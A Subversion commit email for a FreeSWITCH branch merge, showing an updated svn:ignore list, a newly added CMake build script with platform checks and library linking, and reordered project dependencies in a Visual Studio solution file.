Revision
14472
Author
seven
Date
2009-08-09 13:53:22 -0500 (Sun, 09 Aug 2009)

Log Message

merge http://svn.freeswitch.org/svn/freeswitch/trunk -r 11459:14471

Modified Paths

Added Paths

Removed Paths

Property Changed

Diff

Property changes: freeswitch/branches/seven


Name: svn:ignore
   - freeswitch-sounds-*.tar.gz
.deps
Makefile
config.status
modules.conf
libtool
quiet_libtool
config.log
.version
.libs
autom4te.cache
freeswitch
core.*
debug
release
*.ncb
*.suo
*.bak
.noversion
testmode
.complete
*.c
*.patch
*.tmp
wtf
cc-mode-*
config.cache
Makefile.in
AUTHORS
COPYING
NEWS
ChangeLog
configure
README
aclocal.m4
debug static
release static
Debug
Debug Static
Release
Freeswitch.2008cache.dat
Freeswitchcache.dat
Release Static
bin
*.diff
*.pdb
   + freeswitch-sounds-*.tar.gz
.deps
Makefile
config.status
modules.conf
libtool
quiet_libtool
config.log
.version
.libs
autom4te.cache
freeswitch
core.*
debug
release
*.ncb
*.suo
*.bak
.noversion
testmode
.complete
*.c
*.patch
*.tmp
wtf
cc-mode-*
config.cache
Makefile.in
AUTHORS
COPYING
NEWS
ChangeLog
configure
README
aclocal.m4
debug static
release static
Debug
Debug Static
Release
Freeswitch.2008cache.dat
Freeswitchcache.dat
Release Static
bin
*.diff
*.pdb
cmake.test
All
x64
spandsp.h
Release_CLR
fs_cli
fs_ivrd
.
status

Copied: freeswitch/branches/seven/CMakeLists.txt (from rev 14471, freeswitch/trunk/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,291 @@
+# FREESWITCH CMAKE BUILD
+# Created by SHANE BURRELL 2009 (supjigator)
+
+PROJECT (freeswitch)
+
+#GETSVN VERSION
+FIND_PACKAGE(Subversion)
+IF(Subversion_FOUND)
+	Subversion_WC_INFO(${CMAKE_HOME_DIRECTORY} Project)
+	MESSAGE("Current revision is ${Project_WC_REVISION}")
+ENDIF(Subversion_FOUND)
+
+
+
+# project version 
+SET( ${PROJECT_NAME}_MAJOR_VERSION 1 ) 
+SET( ${PROJECT_NAME}_MINOR_VERSION 0 ) 
+SET( ${PROJECT_NAME}_PATCH_LEVEL 0 ) 
+
+configure_file(src/include/switch_version.h.cmake src/include/switch_version.h [@ONLY])
+
+set(CMAKE_MODULE_PATH "${CMAKE_SOURCE_DIR}/cmake_modules/")
+INCLUDE (CheckSymbolExists)
+INCLUDE (CheckIncludeFile)
+INCLUDE (CheckIncludeFiles)
+INCLUDE (CheckSymbolExists)
+INCLUDE (CheckFunctionExists)
+INCLUDE (CheckLibraryExists)
+INCLUDE (CheckTypeSize)
+INCLUDE (CheckCXXSourceCompiles)
+
+CMAKE_MINIMUM_REQUIRED(VERSION 2.6)
+
+MESSAGE( STATUS ) 
+MESSAGE( STATUS "FREESWITCH CMAKE Build-----------------------------------------" ) 
+MESSAGE( STATUS "BUILD_SHARED_LIBS = ${BUILD_SHARED_LIBS}" ) 
+MESSAGE( STATUS "CMAKE_INSTALL_PREFIX = ${CMAKE_INSTALL_PREFIX}" ) 
+MESSAGE( STATUS "CMAKE_BUILD_TYPE = ${CMAKE_BUILD_TYPE}" ) 
+MESSAGE( STATUS "CMAKE_MODULE_PATH = ${CMAKE_MODULE_PATH}" ) 
+MESSAGE( STATUS "${PROJECT_NAME}_DEPENDS = \"${${PROJECT_NAME}_DEPENDS}\"" ) 
+MESSAGE( STATUS "BUILD_WITH = \"${BUILD_WITH}\"" ) 
+MESSAGE( STATUS "INSTALL_DOC = ${INSTALL_DOC}" ) 
+MESSAGE( STATUS "Change a value with: cmake -D<Variable>=<Value>" ) 
+MESSAGE( STATUS "---------------------------------------------------------------" ) 
+MESSAGE( STATUS ) 
+
+# Configuration checks
+
+
+
+## Check type sizes --------------------------------------
+    
+    check_type_size ("int"           SIZEOF_INT         )
+    check_type_size ("uint32_t"      HAVE_UINT32_T      )
+    check_type_size ("int64_t"       HAVE_INT64_T     )
+    check_type_size ("float"         SIZEOF_FLOAT       )
+    check_type_size ("double"        SIZEOF_DOUBLE      )
+    check_type_size ("long"          SIZEOF_LONG        )
+    check_type_size ("long long"     SIZEOF_LONG_LONG   )
+    check_type_size ("short"         SIZEOF_SHORT       )
+    check_type_size ("off_t"         SIZEOF_OFF_T       )
+    check_type_size ("pid_t"         SIZEOF_PID_T       )
+    check_type_size ("size_t"        SIZEOF_SIZE_T      )
+    check_type_size ("socklen_t"     SIZEOF_SOCKLEN_T    )
+    check_type_size ("sig_atomic_t"  SIZEOF_SIG_ATOMIC_T )
+    check_type_size ("void *"        SIZEOF_VOID_P       )
+    check_type_size ("uintptr_t"     SIZEOF_UINTPTR_T    )
+    check_type_size ("_Bool"         HAVE__BOOL          )
+    check_type_size ("intptr_t"      SIZEOF_INTPTR_T     )
+    
+    check_type_size ("struct sockaddr_in6"      SIZEOF_STRUCT_SOCKADDR_IN6     )
+    check_type_size ("struct sockaddr_storage"  SIZEOF_STRUCT_SOCKADDR_STORAGE )
+    check_type_size ("struct utimbuf"           SIZEOF_STRUCT_UTIMBUF          )
+
+
+
+
+
+
+check_symbol_exists (strncasecmp "string.h" HAVE_STRNCASECMP)
+check_symbol_exists (strcasecmp "string.h" HAVE_STRCASECMP)
+check_symbol_exists (iswspace "wctype.h" HAVE_ISWSPACE)
+check_symbol_exists (towlower "wctype.h" HAVE_TOWLOWER)
+check_symbol_exists(getpagesize unistd.h HAVE_GETPAGESIZE)
+check_symbol_exists(isinf cmath HAVE_ISINF_IN_CMATH)
+check_symbol_exists(isinf math.h HAVE_ISINF_IN_MATH_H)
+check_symbol_exists(isnan cmath HAVE_ISNAN_IN_CMATH)
+check_symbol_exists(isnan math.h HAVE_ISNAN_IN_MATH_H)
+check_symbol_exists(ceilf math.h HAVE_CEILF)
+check_symbol_exists(floorf math.h HAVE_FLOORF)
+check_symbol_exists(mallinfo malloc.h HAVE_MALLINFO)
+check_symbol_exists(pthread_mutex_lock pthread.h HAVE_PTHREAD_MUTEX_LOCK)
+check_symbol_exists(strtoll stdlib.h HAVE_STRTOLL)
+check_symbol_exists(getrusage sys/resource.h HAVE_GETRUSAGE)
+check_symbol_exists(setrlimit sys/resource.h HAVE_SETRLIMIT)
+
+check_include_file (dirent.h HAVE_DIRENT_H)
+check_include_file (dlfcn.h HAVE_DLFCN_H)
+check_include_file (execinfo.h HAVE_EXECINFO_H)
+check_include_file (memory.h HAVE_MEMORY_H)
+check_include_file (inttypes.h HAVE_INTTYPES_H)
+check_include_file (strings.h HAVE_STRINGS_H)
+check_include_file (string.h HAVE_STRING_H)
+check_include_file (sys/filio.h HAVE_SYS_FILIO_H)
+check_include_file (sys/ndir.h HAVE_SYS_NDIR_H)
+CHECK_INCLUDE_FILE(netdb.h HAVE_NETDB_H)
+
+check_include_file(malloc.h HAVE_MALLOC_H)
+check_include_file (sys/ioctl.h HAVE_SYS_IOCTL_H)
+check_include_file (sys/utsname.h HAVE_SYS_UTSNAME_H)
+check_include_file (wchar.h HAVE_WCHAR_H)
+check_include_file (wctype.h HAVE_WCTYPE_H)
+check_include_file(sys/devpoll.h HAVE_SYS_DEVPOLL_H)
+check_include_file(sys/epoll.h HAVE_SYS_EPOLL_H)
+check_include_file(sys/event.h HAVE_SYS_EVENT_H)
+check_include_file(sys/mman.h HAVE_SYS_MMAN_H)
+check_include_file(sys/poll.h HAVE_SYS_POLL_H)
+check_include_file(sys/port.h HAVE_SYS_PORT_H)
+check_include_file(sys/prctl.h HAVE_SYS_PRCTL_H)
+check_include_file(sys/resource.h HAVE_SYS_RESOURCE_H)
+check_include_file(sys/sendfile.h HAVE_SYS_SENDFILE_H)
+check_include_file(sys/select.h HAVE_SYS_SELECT_H)
+check_include_file(sys/syslimits.h HAVE_SYS_SYSLIMITS_H)
+check_include_file(sys/types.h HAVE_SYS_TYPES_H)
+check_include_file(sys/uio.h HAVE_SYS_UIO_H)
+check_include_file(sys/un.h HAVE_SYS_UN_H)
+check_include_file(sys/wait.h HAVE_SYS_WAIT_H)
+check_include_file(sys/time.h HAVE_SYS_TIME_H)
+check_include_file(time.h HAVE_TIME_H)
+check_include_file(unistd.h HAVE_UNISTD_H)
+check_include_file(pthread.h HAVE_PTHREAD_H)
+
+check_function_exists (scandir HAVE_SCANDIR)
+check_function_exists (alphasort HAVE_ALPHASORT)
+check_function_exists (strcasestr HAVE_STRCASESTR)
+check_function_exists (strchrnul HAVE_STRCHRNUL)
+check_function_exists (setenv HAVE_SETENV)
+check_function_exists (setgroups HAVE_SETGROUPS)
+
+check_function_exists (clock_gettime HAVE_CLOCK_GETTIME)
+check_function_exists (pselect HAVE_PSELECT)
+check_function_exists (malloc HAVE_MALLOC)
+check_function_exists (mlock HAVE_MLOCK)
+check_function_exists (mlockall HAVE_MLOCKALL)
+check_function_exists (asprintf HAVE_ASPRINTF)
+check_function_exists (gethostname HAVE_GETHOSTNAME)
+check_function_exists (gettimeofday HAVE_GETTIMEOFDAY)
+check_function_exists (gmtime_r HAVE_GMTIME_R)
+check_function_exists (initgroups HAVE_INITGROUPS)
+check_function_exists (usleep HAVE_USLEEP)
+check_function_exists (vasprintf HAVE_VASPRINTF)
+
+
+MESSAGE( STATUS "BUILD APR--------------------------------------------------------------------------" )
+
+#execute_process (WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/libs/apr/ COMMAND ./configure --prefix=/usr/local/freeswitch --enable-core-odbc-support --cache-file=/dev/null --srcdir=. --disable-shared --with-pic TIMEOUT 300 ERROR_VARIABLE error_configure ERROR_FILE error.log)
+
+#execute_process (WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/libs/apr/ COMMAND ./make TIMEOUT 300 ERROR_VARIABLE error_configure ERROR_FILE error.log)
+MESSAGE( STATUS "-------------------------------------------------------------------------------" )
+
+MESSAGE( STATUS "BUILD APR-UTIL--------------------------------------------------------------------------" )
+
+#execute_process (WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/libs/apr-util/ COMMAND ./configure --prefix=/usr/local/freeswitch --enable-core-odbc-support --cache-file=/dev/null --srcdir=. --with-apr=../apr --disable-shared --with-pic --without-sqlite2 --without-sqlite3 TIMEOUT 300 ERROR_VARIABLE error_configure ERROR_FILE error.log)
+
+#execute_process (WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/libs/apr-util/ COMMAND ./make TIMEOUT 300 ERROR_VARIABLE error_configure ERROR_FILE error.log)
+
+MESSAGE( STATUS "-------------------------------------------------------------------------------" )
+
+
+# OPTION( VARIABLE "Description" Initial state)
+ OPTION( DEBUG "Debug" OFF )
+ OPTION( DISABLE_RESAMPLE "Disable RESAMPLE" OFF )
+ OPTION( HAVE_ODBC "Enable Core ODBC Support" ON )
+ OPTION( OPTIMZER "Enable Optimization" OFF )
+
+ CONFIGURE_FILE( ${CMAKE_SOURCE_DIR}/src/include/switch_private.h.cmake ${CMAKE_SOURCE_DIR}/src/include/switch_private.h )
+
+
+
+
+
+
+MESSAGE( STATUS "-------------------------------------------------------------------------------" )
+MESSAGE( STATUS )
+MESSAGE( STATUS "-------------------------------------------------------------------------------" )
+MESSAGE( STATUS )
+# the complete system name, e.g. "Linux-2.4.22", "FreeBSD-5.4-RELEASE" or "Windows 5.1"
+MESSAGE( STATUS "CMAKE_SYSTEM: " ${CMAKE_SYSTEM} )
+# the short system name, e.g. "Linux", "FreeBSD" or "Windows"
+
+MESSAGE( STATUS "-------------------------------------------------------------------------------" )
+MESSAGE( STATUS )
+
+# DO THREADS
+FIND_PACKAGE(Threads)
+
+
+#TESTING SECTION
+add_definitions(-DMACOSX)
+#add_definitions("-DSWITCH_PREFIX_DIR=/usr/local/freeswitch")
+
+
+
+INCLUDE_DIRECTORIES(BEFORE ${CMAKE_SOURCE_DIR}/libs/apr/include/ ${CMAKE_SOURCE_DIR}/libs/apr-util/include/ src/include/ libs/libteletone/src/ libs/stfu/)
+
+# DO APR
+#INCLUDE_DIRECTORIES ( ${CMAKE_SOURCE_DIR}/libs/apr/include/ ${CMAKE_SOURCE_DIR}/libs/apr-util/include/)
+#LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/apr/.libs/libapr-1.a)
+#LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/apr-util/.libs/libaprutil-1.a)
+
+
+# DO SNDFILE
+
+FIND_PACKAGE (Sndfile)
+LINK_LIBRARIES (${SNDFILE_LIBRARY})
+INCLUDE_DIRECTORIES (${SNDFILE_INCLUDE_DIR})
+
+
+# DO LIBEDIT
+#FIND_PACKAGE (Libedit)
+#LINK_LIBRARIES ("/Users/shaneburrell/freeswitch-svn-real/libs/libedit/src/.libs/libedit.a")
+#INCLUDE_DIRECTORIES("libs/libedit/src/")
+#LINK_LIBRARIES (${PATH_LIB_EDIT})
+#INCLUDE_DIRECTORIES (${PATH_INC_EDIT})
+
+#if( PATH_LIB_EDIT)
+#        add_definitions( -DSWITCH_HAVE_LIBEDIT)
+#	add_definitions( -DHAVE_EDITLINE)
+#	MESSAGE( STATUS "Found libedit = ${PATH_LIB_EDIT}" )
+#endif( PATH_LIB_EDIT)
+
+
+
+
+# DO SRTP
+LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/srtp/.libs/libcryptomath.a)
+LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/srtp/.libs/libsrtp.a)
+INCLUDE_DIRECTORIES ( ${CMAKE_SOURCE_DIR}/libs/srtp/crypto/include)
+
+# SQLITE
+LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/sqlite/.libs/libsqlite3.a)
+INCLUDE_DIRECTORIES ( ${CMAKE_SOURCE_DIR}/libs/sqlite/)
+
+# VOIPCODECS
+LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/voipcodecs/src/.libs/libvoipcodecs.a)
+INCLUDE_DIRECTORIES ( ${CMAKE_SOURCE_DIR}/libs/voipcodecs/src/)
+
+# libspeexdsp
+LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/speex/libspeex/.libs/libspeexdsp.a)
+LINK_LIBRARIES (${CMAKE_SOURCE_DIR}/libs/speex/libspeex/.libs/libspeex.a)
+INCLUDE_DIRECTORIES ( ${CMAKE_SOURCE_DIR}/libs/speex/include/)
+
+
+# DO POSTGRES
+#FIND_PACKAGE(POSTGRES)
+IF(POSTGRES_FOUND)
+   INCLUDE_DIRECTORIES( ${POSTGRES_INCLUDE_DIRECTORIES} )
+   SET(optionalLibs ${optionalLibs} ${POSTGRES_LIBRARIES} )
+ENDIF(POSTGRES_FOUND)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ADD_SUBDIRECTORY(src)
+#ADD_SUBDIRECTORY(libs/libresample/)
+ADD_SUBDIRECTORY(libs/libteletone/)
+#ADD_SUBDIRECTORY(libs/sqlite/)
+ADD_SUBDIRECTORY(libs/pcre/)
+ADD_SUBDIRECTORY(libs/stfu/)
+ADD_SUBDIRECTORY(libs/apr-util/)
+ADD_SUBDIRECTORY(libs/apr/)
+#ADD_SUBDIRECTORY(libs/libedit/src/)
+ADD_SUBDIRECTORY(libs/srtp/)
+
+SET ( freeswitch_SRCS src/switch.c src/include/switch.h)
+ADD_EXECUTABLE(freeswitch ${freeswitch_SRCS})
+
+
+TARGET_LINK_LIBRARIES(freeswitch apr apr-util teletone pcre freeswitch_la stfu ${optionalLibs})
+
+

Modified: freeswitch/branches/seven/Freeswitch.2005.unsupported.sln (14471 => 14472)


--- freeswitch/branches/seven/Freeswitch.2005.unsupported.sln	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/Freeswitch.2005.unsupported.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,19 +3,19 @@
 # Visual Studio 2005
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FreeSwitchConsole", "w32\Console\FreeSwitchConsole.vcproj", "{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FreeSwitchCoreLib", "w32\Library\FreeSwitchCore.vcproj", "{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}"
 	ProjectSection(ProjectDependencies) = postProject
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {E42FDC95-7243-4219-9EA4-ACCE4AB97197}
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9} = {8D04B550-D240-4A44-8A18-35DA3F7038D9}
+		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750} = {EEF031CB-FED8-451E-A471-91EC8D4F6750}
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3} = {6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}
-		{EEF031CB-FED8-451E-A471-91EC8D4F6750} = {EEF031CB-FED8-451E-A471-91EC8D4F6750}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
-		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
-		{8D04B550-D240-4A44-8A18-35DA3F7038D9} = {8D04B550-D240-4A44-8A18-35DA3F7038D9}
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761} = {50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_g729", "src\mod\codecs\mod_g729\mod_g729.vcproj", "{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}"
@@ -25,28 +25,29 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_sndfile", "src\mod\formats\mod_sndfile\mod_sndfile.vcproj", "{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4} = {3D0370CA-BED2-4657-A475-32375CBCB6E4}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_iax", "src\mod\endpoints\mod_iax\mod_iax.vcproj", "{3A5B9131-F20C-4A85-9447-6C1610941CEE}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_PortAudio", "src\mod\endpoints\mod_portaudio\mod_PortAudio.vcproj", "{5FD31A25-5D83-4794-8BEE-904DAD84CE71}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99} = {0A18A071-125E-442F-AFF7-A3F68ABECF99}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{0A18A071-125E-442F-AFF7-A3F68ABECF99} = {0A18A071-125E-442F-AFF7-A3F68ABECF99}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_speex", "src\mod\codecs\mod_speex\mod_speex.vcproj", "{5580D60E-0F77-4716-9CD4-B8E5986FA375}"
 	ProjectSection(ProjectDependencies) = postProject
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918} = {1C469CDD-A3AF-4A94-A592-B2CF12F2D918}
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {E42FDC95-7243-4219-9EA4-ACCE4AB97197}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
 	EndProjectSection
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Codecs", "Codecs", "{F881ADA2-2F1A-4046-9FEB-191D9422D781}"
@@ -67,8 +68,8 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_dialplan_xml", "src\mod\dialplans\mod_dialplan_xml\mod_dialplan_xml.vcproj", "{07113B25-D3AF-4E04-BA77-4CD1171F022C}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{54435603-DBB4-11D2-8724-00A0C9A8B90C}") = "FreeSwitchSetup", "w32\Setup\Setup.vdproj", "{B17FFBE6-A942-4056-8346-B624FB5D995B}"
@@ -82,22 +83,22 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_dialplan_directory", "src\mod\dialplans\mod_dialplan_directory\mod_dialplan_directory.vcproj", "{A27CCA23-1541-4337-81A4-F0A6413078A0}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_zeroconf", "src\mod\event_handlers\mod_zeroconf\mod_zeroconf.vcproj", "{C7705DC4-2088-493E-AF8D-65BC6D65C125}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{49C34584-B6DA-448F-83CF-27584DC9FC90} = {49C34584-B6DA-448F-83CF-27584DC9FC90}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE} = {0D826AF5-0506-4C50-BB8B-7DB019AC21AE}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{49C34584-B6DA-448F-83CF-27584DC9FC90} = {49C34584-B6DA-448F-83CF-27584DC9FC90}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_event_multicast", "src\mod\event_handlers\mod_event_multicast\mod_event_multicast.vcproj", "{784113EF-44D9-4949-835D-7065D3C7AD08}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libteletone", "libs\libteletone\libteletone.vcproj", "{89385C74-5860-4174-9CAF-A39E7C48909C}"
@@ -106,10 +107,10 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_spidermonkey", "src\mod\languages\mod_spidermonkey\mod_spidermonkey.vcproj", "{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
 		{204FA0DE-305D-4414-AE2E-F195A23F390D} = {204FA0DE-305D-4414-AE2E-F195A23F390D}
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588} = {87EE9DA4-DE1E-4448-8324-183C98DCA588}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "ASR-TTS", "ASR-TTS", "{4CF6A6AC-07DE-4B9E-ABE1-7F98B64E0BB0}"
@@ -121,22 +122,22 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_ilbc", "src\mod\codecs\mod_ilbc\mod_ilbc.vcproj", "{D3EC0AFF-76FC-4210-A825-9A17410660A3}"
 	ProjectSection(ProjectDependencies) = postProject
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8} = {989BB874-7AF1-44CB-8E5C-CC8113D267E8}
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3} = {7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_dingaling", "src\mod\endpoints\mod_dingaling\mod_dingaling.vcproj", "{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}"
 	ProjectSection(ProjectDependencies) = postProject
+		{1906D736-08BD-4EE1-924F-B536249B9A54} = {1906D736-08BD-4EE1-924F-B536249B9A54}
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3} = {E727E8F6-935D-46FE-8B0E-37834748A0E3}
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1906D736-08BD-4EE1-924F-B536249B9A54} = {1906D736-08BD-4EE1-924F-B536249B9A54}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_commands", "src\mod\applications\mod_commands\mod_commands.vcproj", "{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}"
 	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
 	EndProjectSection
 EndProject
